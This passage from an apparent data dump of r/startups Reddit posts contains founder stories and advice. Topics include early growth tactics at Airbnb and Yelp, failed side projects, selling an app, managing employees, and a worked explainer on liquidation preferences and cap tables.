earliest users, then followed up with them extensively. “When New York took off, we flew back every weekend. We went door to door with cameras taking pictures of all these apartments to put them online. I lived in their living rooms. And home by home, block by block, communities started growing. And people would visit New York and bring the idea back with them to their city.” – Brian Chesky, for The Atlantic “Because of the Democratic National Conventions, some people were using the site in New York and listing places. We would reach out to the very few people we had and get to know them, figure out what products they needed and what we could offer them. We tried to build loyalty knowing that if we did that, they would tell their friends. We’d host parties and meetups and all sorts of different things. Through that process, they’d get very excited and tell their friends about Airbnb. It was mostly about generating as much buzz and excitement to get them to tell their friends about us.” – Chesky, Startups Open-sourced *Airbnb believed in generating word-of-mouth, which would attract the press, which would generate more word-of-mouth* “We never dressed up in gorilla suits but we passed out fliers in coffee shops, train stations—we did all sorts of things. I don’t know what tactics worked more than others, but I think press was always the number one tactic for us. The press would spark another group of users, then we’d go visit those people and talk to them and get them excited. It was a pattern that repeated itself.” – Chesky, Startups Open-sourced **16: Yelp – grew a loyal user base by rewarding quality reviews** *Gave “Kudos” for good behavior* Yelp wanted to create a tight community of consistent reviewers and high quality reviews. It rightly guessed that people were more likely to write in-depth, well crafted reviews when their names appeared alongside them. So it offered special recognition to users who were first to review a business, and let other users give kudos for reviews that are useful, funny, or cool. And the numbers in 2006 show that most Yelp reviewers got hooked on the site: Users who contributed 6 or more reviews: CitySearch – 4.8% Yahoo Local – 11.1% Yelp – 65.8% Users who left only one review: CitySearch – 71.2% Yahoo Local – 56.4% Yelp – 9.2% *Treated their best “Elite” users generously* The most engaged Yelp users are elevated to “Elite” status, visible by a shiny Elite badge on their account profile. By 2006, a full 44% of reviews on the site were contributed by Yelp Elite. Dave Kim, a six-year Yelp Elite user with over 900 reviews, explains: “Yelp does a good job of finding ways to reward people, not through monetary means, but little perks … At regular Yelp Events, Elites often got first-chance to RSVP and even got in an hour before everyone else. There are specific events just for Yelp Elite that offer free food and drinks and swag.” **17: Groove – reached out to the customers that “got away”** CEO Alex Turnbull has written a very detailed analysis of Groove’s early customer acquisition tactics, along the theme of doing things that don’t scale. The tactic that stood out the most was scrapping – reaching out to customers who chose other competitors, and sincerely asking the reasons for their choice. From the exercise, Turnbull discovered and fixed several bugs, and convince customers to give Groove another chance. ",airawear,498,40,1502073940,/r/startups/comments/6s2t2w/to_all_new_startup_founders_heres_how_17/,https://www.reddit.com/r/startups/comments/6s2t2w/to_all_new_startup_founders_heres_how_17/,self.startups,True,,,,, 4gixq3,startups,I ALSO Quit my full time corporate job. Built an Android game. It failed! Here are revenue numbers and what I learned.,"#TL;DR Made a little over $25.00 in my mobile game with IAP and Ads as a one man show. It *is* very **hard** to become successful in the gaming market for a single individual. &nbsp; #Background I write my games in Gamemaker - Studio. My wife suggested I make a post. I build an android app called [Powerhouse](https://play.google.com/store/apps/details?id=com.newleafstudios.powerhouse) that hit #63 on the top new free puzzle games for a while. I tried and tried to get some reviewers to check it out, or youtubers to look at it. I spent a good 3 weeks trying to market the crap out of my game. To my surprise I got barely anything. I tried advertising! It worked, but its expensive, and I'm not a wealthy individual having a wife, 2 children and a cat to feed. &nbsp; My first game was called [Splitball](https://play.google.com/store/apps/details?id=com.newleafstudios.splitballgame) - it was more or less a test project to figure out all the ins and outs of Google Play. 2 things I found out. I **SUCK** at art - and people **HATE** permissions on apps. So I nearly removed all permissions for my second game and took a route that didn't require any special art. So I went with the puzzle genre, which I love. Also, my father passed about 4 months ago and he was a **BIG** fan of puzzles, so I did it for him as well. &nbsp; In total, I got just over 1000 downloads in total, 2 in-app purchases and a couple bucks from Ads. But honestly, the best part is seeing the reviewers say that they enjoy the game. &nbsp; #Graph I'm sorry, I have no graph for my revenue. &nbsp; **Honestly** I completely agree with all the things a certain person says, but what it comes down to!? A lot of luck! Obviously you need a good game to get anywhere, but let's face it... Its a *VERY* tough industry to get your foot in! &nbsp; I made my game with love, and passion! I still update it all the time! I enjoy it! :D &nbsp; Please, proceed with caution! &nbsp; *EDIT:* Wow my first gold! Thank you kind stranger, and thanks for all the awesome feedback and comments you are all providing! I am really enjoying discussing this with everyone and I am learning lot's from all of you!",spinout257,495,108,1461679356,/r/startups/comments/4gixq3/i_also_quit_my_full_time_corporate_job_built_an/,https://www.reddit.com/r/startups/comments/4gixq3/i_also_quit_my_full_time_corporate_job_built_an/,self.startups,True,,,,, n2vxcm,startups,Share Your Startup - May 2021 - Upvote This For Maximum Visibility!," [r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? 1 * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \---------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \---------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,489,684,1619917760,/r/startups/comments/n2vxcm/share_your_startup_may_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/n2vxcm/share_your_startup_may_2021_upvote_this_for/,self.startups,True,,,,, 5kk4a0,startups,For all you low-budget entrepreneurs out there: List of 300 free resources that will save you a sh*t loud of money,"Here's the link. It really helped me out in my venture (still does) and saved me a lot of time/money: http://thenextweb.com/dd/2015/02/18/300-awesome-free-things-massive-list-free-resources-know/ Hope it helps you too.",donnybananas,488,47,1482851166,/r/startups/comments/5kk4a0/for_all_you_lowbudget_entrepreneurs_out_there/,https://www.reddit.com/r/startups/comments/5kk4a0/for_all_you_lowbudget_entrepreneurs_out_there/,self.startups,True,,,,, 7xparw,startups,People Don't Quit Jobs; They Quit Bosses,"In actual sense, people don’t leave bad companies; they leave bad bosses. >“People leave managers, not companies.” - Marcus Buckingham Bad bosses are the greatest liability to an establishment and even worse than fraud. Employees leave bad bosses and the companies that allow the bad boss to thrive. A bad boss can prevent a new generation of dynamic and enterprising employees from emerging. The worst place an employee can be was stuck in an organization with a micro-manager who doesn't care about their development and there are no opportunities for growth and advancement. According to a survey conducted by the International Association of Administrative Professionals, a bad boss is a NO.1 reason employees quit. The greatest threat to a company’s culture is a bad or toxic boss. Often, talented individuals are forced to job-hop from one company to another in order to have a new lease on life. The greatest job of a leader is to create the right environment. When the environment is conducive, growth, fulfilment and productivity are almost automatic and even inevitable. ""Micromanagement is a complete waste of everybody’s time. It sucks the life out of employees, fosters anxiety and creates a high-stress work environment."" Micromanagement has the same toxic attributes as helicopter surveillance in psychology, which entails unrelenting stalking of a person which robs one of their freedom, autonomy and individuality. The anxiety of such an employee subjected to micromanagement will increase while confidence may take a tumble. Most of the time a person says, ""I hate my JOB!"" it has something to do with their direct supervisor. Some managers get so caught up in the bottom line and increasing the revenue stream that they forget to treat people with dignity and respect. Very few bosses show empathy towards their team members and this helps improve overall team performance. Bad bosses come in different forms and shades, which is actually the object of this piece. What are those things that bosses do to drive their employees beyond the edge? These are: * **Unhealthy Expectations** A good boss sets expectations high enough to stretch us, but healthy enough not to break us. Unhealthy expectation strains the working environment. It makes others look as if they are incapable. * **Zero Tolerance For Mistakes** >“Freedom is not worth having if it does not include the freedom to make mistakes.” - Mahatma Gandhi Mistakes are an integral part of the learning system. When employees make mistakes that they will always do, we must encourage them to learn from it. Mistakes are painful when they happen, but years later, a collection of mistakes is what is called experience. * **Lack Of Training And Development** >“Train people well enough so they can leave, treat them well enough so they don’t want to.” - Richard Branson An untrained staff is a liability. No matter the level of incompetency, consistent training will always make a difference. The only thing worse than training your employees and having them leave is not training them and having them stay. You don’t build a business; you build people, and then people build the business. We hire individuals because we believe they are capable of doing the job. Then trust them to get the job done. Limiting the potential of a great employee by being inflexible, is limiting the potential of your organization. If things are not going the way management wants - there is always a better way than micromanaging people. Train, mentor and coach employees and give them clear objectives. Then get out of their way. A manager's job is to provide guidance and support. It's not monitoring an employee's every movement. The best ideas and advancements come as a result of empowering your team. >""A bad boss can take a good staff and destroy it, causing the best employees to flee and the remainder to lose all motivation."" *A negative boss is the worst ‘environment’ in any workplace.*",UpToDateBooks,487,64,1518687149,/r/startups/comments/7xparw/people_dont_quit_jobs_they_quit_bosses/,https://www.reddit.com/r/startups/comments/7xparw/people_dont_quit_jobs_they_quit_bosses/,self.startups,True,,,,, i5wa56,startups,Don't force visitors to create an account first.,"Most of the great web-apps don't forces you to create an account, they let you try out the product first. This reduces friction. If you're creating an app, make sure you do that. Ask for login/signup when it's necessary and put social logins. Hope this will help someone. Let me know your thoughts in the comments.",pubgupdates,477,112,1596878375,/r/startups/comments/i5wa56/dont_force_visitors_to_create_an_account_first/,https://www.reddit.com/r/startups/comments/i5wa56/dont_force_visitors_to_create_an_account_first/,self.startups,True,,,,, 1gcu20,startups,If your website requires this and doesn't let me in without it...I say bye bye.,,samofny,473,106,1371237018,/r/startups/comments/1gcu20/if_your_website_requires_this_and_doesnt_let_me/,http://i.imgur.com/ajcUL7H.png,i.imgur.com,False,,,,, jgikzo,startups,How I failed 6 side-projects in 10 months,"After losing my job in December of 2019, I decided to step into bootstrapping my own ideas for a while. First (don't do this), I worked for more than 6 months on my first idea, a very simple one, but difficult to execute. An email service provider. It wasn't easy, but I did it. I launched. 1 upvote on Product Hunt, mine... Crickets. I probably cry on the inside. After spending an immense amount of hours tweaking and fixing and making sure everything was workings, 99.9% of the visits to the landing page, never past from there. 2,058 visits since 20th May. 0 clients. No one has seen my app. After that, I thought: Ok, if people don't pass from the landing page, I am going to create landing pages and test ideas. **So I create:** * An alternative to Couchsurfing: 2,162 visits. I made more money from it than from the first project. And I did it in one weekend. * A coffee community, 1,716 visits. I got a bit excited and did some features. * A digital nomads community in Spanish. * Product Hunt in Spanish. * SaaS for teachers to simply communicate with students over email, this is using the technology that I created for the first project. All failed. **What I learned** * Don't rush into solutions. Find people that have a real problem, talk to them, and then, think of solutions. Every problem, has many solutions, don't rush into making the first one that you can think of. * Find clients before making anything. I always think... I will make it share it, and people will see and use it. It doesn't work like that. * Don't do it if you need money NOW. Making a product's success takes time. If you are doing it for the money, you are going to rush into the wrong decisions. That's it. Honestly, I sometimes think to stop and to just work for others. I think that I don't have it, or that I am just not good enough. But I keep trying. I can't help it. I am sure many of you can relate. At the end of the day, you only need to win once.",jrleonr,470,145,1603438612,/r/startups/comments/jgikzo/how_i_failed_6_sideprojects_in_10_months/,https://www.reddit.com/r/startups/comments/jgikzo/how_i_failed_6_sideprojects_in_10_months/,self.startups,True,,,,, p7eeut,startups,How I sold my app for +$100k via email (and why I regret it),"This is the story of my second biggest regret in life. Don't make the same mistakes I made. \*\*\* “You want to do what now?” About 8 years ago, being young and naive, I decided I wanted to build apps for a living. My dad was not happy about it. As a graduating engineer, I was supposed to get into consultancy or FAANG. I didn't want to follow the ""traditional"" path so I decided to move abroad and work for a startup. In my spare time, I worked on a productivity app I'd created. There was no name for this ""category"" of apps yet. The startup I worked for went bust. In hindsight, I think the only reason they hired some foreigner without experience, is because that would get them a grant. Instead of going back home, I decided to stay in one of the most expensive cities in the world, and continue working on the productivity app. At this point I had found a co-founder, a guy who moved there around the same time as me. We became good friends and I crashed on his couch for 7 months. All we did was get up, drink coffee in the little garden and work on the app all day. It was an amazing time. We started to get some users and implemented a ""feedback wall"". Instead of asking for money, we would ask for a feedback email to unlock all the features of the app. It worked wonders. The emails came in and they kept coming. Each day, I would open the mailbox and go through the emails one by one, extensively talking to each user and thanking them from the bottom of my heart. I would put all the feedback in a big excel sheet and group similar feedback together. Each day we would work on the most requested items. Then we would check more emails. We repeated this for months. We got lucky. Our initial users came from some app aggregator that mentioned us. We got hundreds of signups in the first few weeks. Without that, we would have probably given up straight away. The iterative improvements worked. Feature requests got implemented quickly. users were happy. Between the two of us, it was hard to find a way to communicate fast enough. Even though we were living together and working together, we still managed to send tens of emails per day to each other. It was magic. It felt like we were completely in sync, working towards a common goal. We marketed the app by posting on Reddit and submitting it to various blogs. At one point, we almost killed the app by overriding the local database on the phones with an update. Some people lost their data, but we worked through the night and implemented a fix. The damage was contained. Later, we decided to ask for money instead of feedback. A first payment rolled in. And then another. Holy crap, this was actually working. People were gladly paying. At this point we had some money coming in. I guess we were ramen profitable, in the sense that we could pay for rent and ramen. Growth was stalling a bit though. We ran out of ideas. We implemented all the feedback that could pass for ""sensible"". We ran out of steam. Doubt showed up. ""Is this idea even big enough?"" ""Maybe the market is just too small"" No-one had told me that doubt is normal. That startup founders typically go through a lot of bad periods. That actually, we were one of the lucky ones. That initial growth shouldn't come as easy. And that we definitely shouldn't take it for granted. At the time, I didn't realize that there is a vast array of possibilities between ""billion dollar business"" and ""failure"". We had been brainwashed by the go-big-or-go-home unicorn VC mentality. Then my cofounder emailed me: I am tempted to make a push for some funding from a startup accelerator - with business plan and everything. Slowly I am coming to the realisation that with funding we can progress much faster..and we can concentrate on it 100%. So we applied to all the accelerators in the city, including the worst one. All accelerators rejected us. Then the worst one emailed us that, despite the rejection, we could join. Some other startup had declined. This accelerator ripped us off in a very obvious way, which we didn't realize at the time. Anyway, we accepted. The accelerator program was complete chaos. The first week they told each startup they should write down one metric and they were gonna track the performance of that metric every week. They literally never mentioned those metrics again. One of the main guys from the accelerator threatened us. I would characterize him as a ""demotivational speaker"". We were in this weird mental state. We were one of the fastest growing startups in the batch. Other founders were asking us how we did it. Our startup was kind of growing by itself. And we were super demotivated. At some point we stopped showing up. Our excuse was that the commute to the accelerator took 2 hours of work from us each day. In reality, we were fed up. One of the guys from the accelerator had a good connection at Google. After weeks of nagging, he contacted the guy and he got us into the ""real"" app game. From one day to the next, they basically flipped a switch and we got thousands of downloads a day. Don't let anyone tell you the game is not rigged. Connections are everything. This was pretty much the only thing we got out of that accelerator. It was a good thing though. They say a startup dies when the founders lose motivation. That was certainly the case for us. The demo day was great, lots of interested investors, but I was dead inside. I was fake smiling. I decided to travel around a bit. My co-founder took another job. And the money kept coming in. &#x200B; Some backpacker in Asia told me I'm living the dream. I felt like a failure. While in Singapore I got a crazy bout of renewed motivation. I camped out in a Starbucks and built the iOS version of the app in about a month. I thought that would save us. I launched the new version on Reddit, it made a big splash but then died out. I expected it to at least double or triple our sales. If I had had a bit more patience, I would have noticed that this version was definitely growing and gaining momentum. I expected too much, too quickly. We lost all motivation again, just as quickly as it had reappeared. I'm not sure what my thought process was at the time, but I randomly decided to google ""how to sell your app"" and sent this random app guy an email: &#x200B; The guy asked for some more stats which we provided. He then offered about $55k. Even though this was less than a year's revenue for us, we seriously considered it. We were fed up with the whole situation and decided to go through with the deal. But the investors said no. We then kept working on it for another year or so while we were both doing other stuff. The revenue was pretty stable. The buyer was extremely patient and kept checking in. I was traveling around the world and not being very responsive. &#x200B; Rereading this whole email thread, I'm in awe of the sheer perseverance of the buyer. After almost exactly one year, the investor issues were resolved and we came to an agreement, which was more than double the original price. \*\*\* At no point in the process did I know who I was talking to. I had never seen this guy's face. We never called or met in real life. Still I was quite convinced it was all legit. So we got the money, we subtracted the investors' cut, divided by two and paid taxes. There was not much left in the end. Now, more than 5 years later, the app is still online. By all indications it makes more yearly revenue than ever. The buyer is doing minimal updates, just enough to keep the app alive. They get quite a few 1 star ratings, but they're still coasting on the original reviews and goodwill. &#x200B; Can't say it doesn't sting a little bit. But these days I'm mostly happy for him. He made a good deal. \*\*\* Not sure if there are any lessons here. Maybe that you should not take things for granted when you're young. Chances are you just got lucky. Maybe that you should squeeze every last drop of opportunity out of the hand you're dealt. You might not get another chance, so don't give up when the going gets tough. I see many indie hackers selling too soon. Maybe that life is mostly a random search, until it isn't. Once you find a good wave, jump on your board and hold on for dear life. Maybe that you should always shop around and compare prices, whether you're buying a car or selling an app. I regret not asking for outside opinions. I regret not having a strong support network of other creators and founders. I regret not at least putting the app for sale on a public forum. Maybe that you should properly read and understand the legal documents you're signing. I think I mostly regret giving up while there were still so many paths to discover. So many ways to grow, even though we both thought we had explored all options. I now realize a good app on the app stores is real estate. It doesn't just go away. Don't get me wrong. I'm happy now. Lots of doors have opened for me since I sold our app. And we helped many people. I'm proud of that. But the itch is still there. That's why I'm starting again. I'm taking one year off from freelancing, and I'll try to build 18 projects in one year. To new beginnings 🙏 \*\*\* Original post [here](https://shadowysupercoder.com/how-i-sold-my-app-for-100k-via-email-and-why-i-regret-it/) As always, much love – Shadowy",shadowysupercdr,469,134,1629378150,/r/startups/comments/p7eeut/how_i_sold_my_app_for_100k_via_email_and_why_i/,https://www.reddit.com/r/startups/comments/p7eeut/how_i_sold_my_app_for_100k_via_email_and_why_i/,self.startups,True,,,,, 1izh15o,startups,40+ Years of Grinding was worth the 5 seconds of Validation I got yesterday (I will not promote),"Yesterday was the first day of teaching Entrepreneurship at my kid's Middle School. As some background, I've been a startup Founder for 31 years and have worked nonstop to come from nothing. I opened with giving a talk about ""agency,"" which was described as: 1. The belief that we can shape the world how we want it. 2. The tools to do it. I gave a mini ""TED Talk"" on my personal origin story, from the first time I made a dollar to feed myself when I was 8 to the first company I started at 19. The coolest thing about it was that my 13-year-old daughter was in the class, and she got to hear, mostly for the first time, her Dad's origin story and what he had to endure to create the life we have. On the car ride home, with just the two of us, she said, ""Daddy, I'm so proud of what you've done and grateful for what you've built for this family. I had no idea."" There are a few moments in life where every sacrifice becomes worth it - that was one of mine.",wilschroter,468,51,1740666540,/r/startups/comments/1izh15o/40_years_of_grinding_was_worth_the_5_seconds_of/,https://www.reddit.com/r/startups/comments/1izh15o/40_years_of_grinding_was_worth_the_5_seconds_of/,self.startups,True,,,,, rn4zph,startups,Don't quit your job to do your startup full-time until it generates enough revenue to support yourself.,"I've attempted over 6 software startup ideas on my own. 5 failed, one worked and I sold it to private equity 2 years ago. The companies that failed were when I decided to go full-time on something that wasn't even validated yet. The stress of having runway on something that may or may not work impacted all of my decision skills and just drove the business to the ground. The truth is, it takes time to establish a sales pipeline, market yourself to your ideal customers, and actually flesh out a useable product. After burning through all of my savings stressing out about making a living and doing too many failed launches, I took a job doing software contracting. I still wanted to do a business full-time, but I thought I'd do it differently. I picked a slower growing SaaS category and chipped on it during the night and the weekends. After about 8 months I was generating $2k in recurring revenue, but I still didn't quit. It was only once I hit $15K MRR and could afford to hire my first employee that I stopped being a contractor after 2 years. When I was ""full-time"" on doing startups, I had the mindset and stress of having to generate revenue now. I didn't even last four months on one venture realizing it would take longer for me to even get meaningful margins. The only time I've seen going ""full-time"" on an idea work is if you can raise $2MM venture rounds pre-traction, and even then those teams took 2-3 years to hit product market fit and have meaningful revenue. Don't quit your job until your business can give you a job.",malkovichjohn,458,60,1640292590,/r/startups/comments/rn4zph/dont_quit_your_job_to_do_your_startup_fulltime/,https://www.reddit.com/r/startups/comments/rn4zph/dont_quit_your_job_to_do_your_startup_fulltime/,self.startups,True,,,,, a8f6xz,startups,Why didn't I get any money from my startup? - A guide to Liquidation Preferences and Cap Tables,"*Note: I recently wrote a series of comments in response to* [*a post by danny841*](https://www.reddit.com/r/startups/comments/a80v2g/how_will_my_wifes_stock_options_work_since_theyve/) *about the value of his wife's stock options now that her company has been acquired. It was suggested that the community might benefit from having it turned into its own thread. Not being one to turn down a sanctioned opportunity to collect Karma, I'm happy to oblige.* ***Note 2: The tables may not format correctly on mobile. Sorry!*** Most founders share a dream. That dream being that one day, after a lot of hard work, someone will knock on their door and offer them a Scrooge McDuckian pile of money for their startup. However in order to get to this point, a founder will likely need to raise money from investors to grow. The terms attached to those investments will influence how any final buyout proceeds are distributed. If a founder isn't careful, they may find that their boat money turns out to be bus fare. To understand why, we first need to understand how a startup grows and issues equity. When a startup is founded, its founders divide up the equity in it by issuing shares. The resources brought to the table can vary, but usually they’re just enough to get to some sort of proof of concept phase. We can visualize the outstanding shares of the company with what’s known as a Capitalization Table (Cap Table). At this point, it might look something like this. Shares % Owned Founders 1,000,000 100 A lot of successful startups don’t grow using their own resources. In fact, with startups that have huge opportunity and potential, doing so would be far too slow. In order to reach their potential, they sell shares to investors. The amount of money they need to raise is usually based on expectations of what will be required to meet a certain milestone, with the number of shares issued being determined by a valuation metric that’s beyond the scope of this discussion. This process is usually done multiple times in order to reach successive milestones. Each fundraising round is referred to as a Series, and generally assigned a letter. After the first round (Series A), the Cap Table might look like this. Shares % Owned Founders 1,000,000 50 Series A 1,000,000 50 As startups grow, they acquire non-founding employees. However working for startups carries risk. It’s a business that’s more likely to fail, and sometimes it can’t afford to pay what a more established company could. In order to compensate these employees for that risk, they’re generally issued Stock Options that allow them to buy shares of the company at some point in the future, for the price today. This is great for the employees, but it creates an issue for investors. If I give you $10M for 1,000,000 shares thinking I’ll own 50% of your company until the next Series, and you issue 1,000,000 options to employees who all decide to exercise those options, I won’t actually own 50% of your company. I’ll only own 33%. This is what is referred to as Dilution. The issuing of additional shares reduces the overall % of a company held by any specific shareholder. In order to avoid this, Pools are established with each Series, so all investors know the smallest possible (fully diluted) position they may be expected to have in a company before the next Series. Employee Pools tend to be between 10 and 20%. We’ll assume our startup is generous. After Series A, the (fully-diluted) Cap Table might look something like this: Shares % Owned Founders 1,000,000 40% Series A 1,000,000 40% Employee Pool 500,000 20% It should be noted that we are now assuming that all employees choose to exercise their options, and that our startup fully issues its employee pool. If a company continues to increase in value (or is bought), the first assumption is safe. The second assumption is rarely valid, but simplifies our example. We'll address contrary situations later. Generally the employee pool size is adjusted to maintain its size relative to total outstanding shares. Let’s assume we’ve had two more funding rounds in our startup. The Cap Table might look something like this: Shares % Owned Founders 1,000,000 14.5% Series A 1,000,000 14.5% Series B 2,000,000 29.1% Series C 1,500,000 21.8% Employee Pool 1,375,000 20.0% Now comes the big day. The company sold for $100M all cash. A few things come into play here. First off, not all options are exercisable immediately. That’s the Vesting process, which is designed to keep employees at a company. Many option agreements indicate that upon qualifying event (such as a sale), any unvested options immediately vest. However sometimes they don’t. Why wouldn’t they? Because the person buying the company needs to know the employees are going to stay. They just paid a lot of money for the company, and that means the staff to run it as well. Sometimes they offer new incentives to keep those employees, but often it’s easier to just keep them on their old incentives. Sometimes a company will attempt to get its employees to waive any accelerated vesting provisions in order to reduce the size of the employee pool. This isn't often in the best interest of those employees, and acts to increase potential distribution to founders and investors. Something to keep in mind. Critically, there’s something known as Liquidation Preference. Liquidation preferences, when they exist, can be the most important factor in determining how much a given shareholder receives in a buyout. **Not all shares are created equally.** Sometimes when a company needs to raise money, they need to let new investors know they will receive their money back before existing investors do. If they really need the money and are having a hard time raising it, they may even have to tell new investors that they’ll receive multiple times their money back before existing investors receive any money. Why would existing investors agree to this? Because if the business fails, they’ll definitely lose all of their investment. So it’s better to agree to take less, than lose everything. Liquidation preferences can do weird things to payouts. Let’s use our startup as an example. We’ll need some additional information. Founders (and employees) hold what is called common stock. Common stock splits whatever funds are left after paying out all other shares. Series A paid $2,000,000 for their shares. These are 2x non-participating, meaning that they can choose to receive back 2x their original investment, or convert their shares to common stock. They cannot do both, and so will do whichever would result in their getting the most money. Series B paid $10,000,000 for their shares. These are 2x participating, meaning that they’ll receive back 2x their original investment \*and\* they’ll convert to common stock and receive a portion of the remaining funds. Series C paid $15,000,000 for their shares. These are 3x participating 5x capped, meaning that they’ll receive back 3x their original investment and convert to common to receive a portion of remaining funds, however they cannot receive more than 5x their original investment Seem confusing? It definitely can be. There are a lot of different ways liquidation preferences can be build, but generally participating, multiples, and caps are the ones you’ll see. How does this play out with our $100M buyout? Series C receives 3x their initial investment, or $45,000,000 and converts to common stock. There’s still $55,000,000 left to distribute. Series B receives 2x their initial investment, or $20,000,000 and converts to common stock. There’s still $35,000,000 left to distribute. Now Series A has a choice. It could receive 2x its original investment, which would be $4,000,000. Or it could choose to be treated as common stock. If it chose to do this, all classes in our original cap table would be common (as all other series converted). Therefore it would receive 14.5ish% of the remaining $35,000,000, or $5,090,909. This is clearly the better choice, so Series A chooses to convert to common. This leaves us with $35,000,000 to distribute to our common shares based on their respective share of common stock owned, and a final distribution as follows. Shares % Common $ from Liq $ from Common $ Total % of Proceeds Founders 1,000,000 14.5% $0 $5,090,909 $5,090,909 5.1% Series A 1,000,000 14.5% $0 $5,090,909 $5,090,909 5.1% Series B 2,000,000 29.1% $20,000,000 $10,181,818 $30,181,818 30.1% Series C 1,500,000 21.8% $45,000,000 $7,636,363 $52,636,363 52.6% Employee Pool 1,375,000 20.0% $0 $7,000,000 $7,000,000 7% Notice how the % of proceeds actually received are drastically different from the % of shares held? That’s the effect of liquidation preferences, and why they’re so important. Let's compare this to another scenario where the buyout is only $80M. Series C still receives 3x their initial investment, or $45,000,000 and converts to common stock. There’s still $35,000,000 left to distribute. Series B still receives 2x their initial investment, or $20,000,000 and converts to common stock. There’s still $15,000,000 left to distribute. Series A again has a choice. It could receive 2x its original investment, which would be $4,000,000. However this time if it chose to be common stock, it would receive 14.5ish% of $15,000,000 = $2,181,818. In this instance, it would choose to receive $4,000,000, and its shares would not convert to Common. Now our common distribution of the remaining $11,000,000 (80M - 45M - 20M - 4M) is as follows: # Shares % Common $ from Common Founders 1,000,000 17% $1,872,340 Series B 2,000,000 34% $3,744,681 Series C 1,500,000 25.5% $2,808,511 Employees 1,375,000 23.4% $2,574,468 And our overall distribution looks like so: # Shares % Owned $ Liq Pref $ Common $ Total % of Payout Founders 1,000,000 14.5% $1,872,340 $1,872,340 2.3% Series A 1,000,000 14.5% $4,000,000 $4,000,000 5% Series B 2,000,000 29.1% $20,000,000 $3,744,681 $23,744,681 29.7% Series C 1,500,000 21.8% $45,000,000 $2,808,511 $47,808,511 59.8% Employees 1,375,000 20.0% $2,574,468 $2,574,468 3.2% Notice the difference in payouts to each class. The purchase price in scenario 2 was 80% of the purchase price in scenario 1, but the payout to the founder and employees was less than half. Earlier we discussed the assumption that the Employee pool was fully issued (i.e. all options had been issued, and every option had been exercised.) This is important, because it affects distribution as well. To see why, first we need a little more information on what an option is. Simply put, an option is an agreement to acquire a number of shares for a set price (known as the Strike Price). Often times they'll only be valid between a set of dates. (Between the date of Vesting, and the date of expiry.) The strike price can be anything, but for tax purposes for employees it's generally the current share price on the day the option is issued. When you exercise an option, you pay the Strike Price, and you receive the shares. Returning to our example, we've assumed that the employee options are **in-the-money**, which is to say that the price they receive per share is greater than the strike price per share on the option. In our example, each employee would receive $1.87 per share owned ($2,574,468 / 1,375,000). If the strike price on the employee options was $3.00, an employee would choose not to exercise those options, as they would be agreeing to pay $3.00 to receive $1.87. If this were the case in our above example, the employees options would be worthless. Because no employee would exercise them, the resulting payout would look as follows: # Shares % Owned $ Liq Pref $ Common $ Total % of Payout Founders 1,000,000 18.2% $2,444,444 $2,444,444 3.1% Series A 1,000,000 18.2% $4,000,000 $4,000,000 5% Series B 2,000,000 36.4% $20,000,000 $4,888,889 $24,888,889 31,1% Series C 1,500,000 27.3% $45,000,000 $3,666,667 $48,666,667 60.8% Employees 0 0% $0 $0 0% Notice how everyone elses distribution increase when the employee options weren't exercised? This is why companies will sometimes try and prevent accelerated vesting of employee shares. The smaller that pool, the greater the funds available for distribution to other classes. Let's look at one final scenario to illustrate the effects of liquidation preference. At first glance, a $53M buyout seems exciting. Only $27M has been invested at this point. Let's see how it plays out. Series C still receives 3x their initial investment, or $45,000,000 and converts to common stock. There’s still $8,000,000 left to distribute. Series B receives $8,000,000 and converts to common stock. And that's it. All proceeds from the transaction have been distributed, meaning there are no funds available to be distributed to common stock. The final returns are as follows: # Shares % Owned $ Liq Pref $ Common $ Total % of Payout Founders 1,000,000 14.5% $0 $0 0% Series A 1,000,000 14.5% $0 $0 0% Series B 2,000,000 29.1% $8,000,000 $0 $8,000,000 15.1% Series C 1,500,000 21.8% $45,000,000 $0 $45,000,000 84.9% Employees 1,375,000 20.0% $0 $0 0% Founders, employees and Series A investors all receive nothing. All that work, and high risk early stage capital goes uncompensated. So what's the point of working at all if all of the benefits are going to be scooped away? Well, it's important to note a few things about liquidation preferences like this. 1. They tend to show up when a company is struggling to raise investment. If you're having a hard time raising capital, it's likely because there's some significant risk associated with your business. Maybe you've failed to meet your benchmarks. Maybe it's highly speculative. Whatever it is, the new investors want to know they'll get their money out first, and they'll make enough to compensate them from taking those risks. On the other hand, if you have a number of sources of investment interested, there likely won't be any liquidation preference. In fact, they may want to try and cash existing investors or founders out early in order to increase their own equity holdings. As rarehugs [pointed out in a comment](https://www.reddit.com/r/startups/comments/a80v2g/how_will_my_wifes_stock_options_work_since_theyve/ec9x3b9) on the prior thread, a founder should think very carefully about cashing out early. If someone thinks your equity is worth buying now, it means they think it will be worth substantially more later. 2. They generally only apply to private companies. Once you're public, selling your shares is generally much more straight forward. However it should be noted that 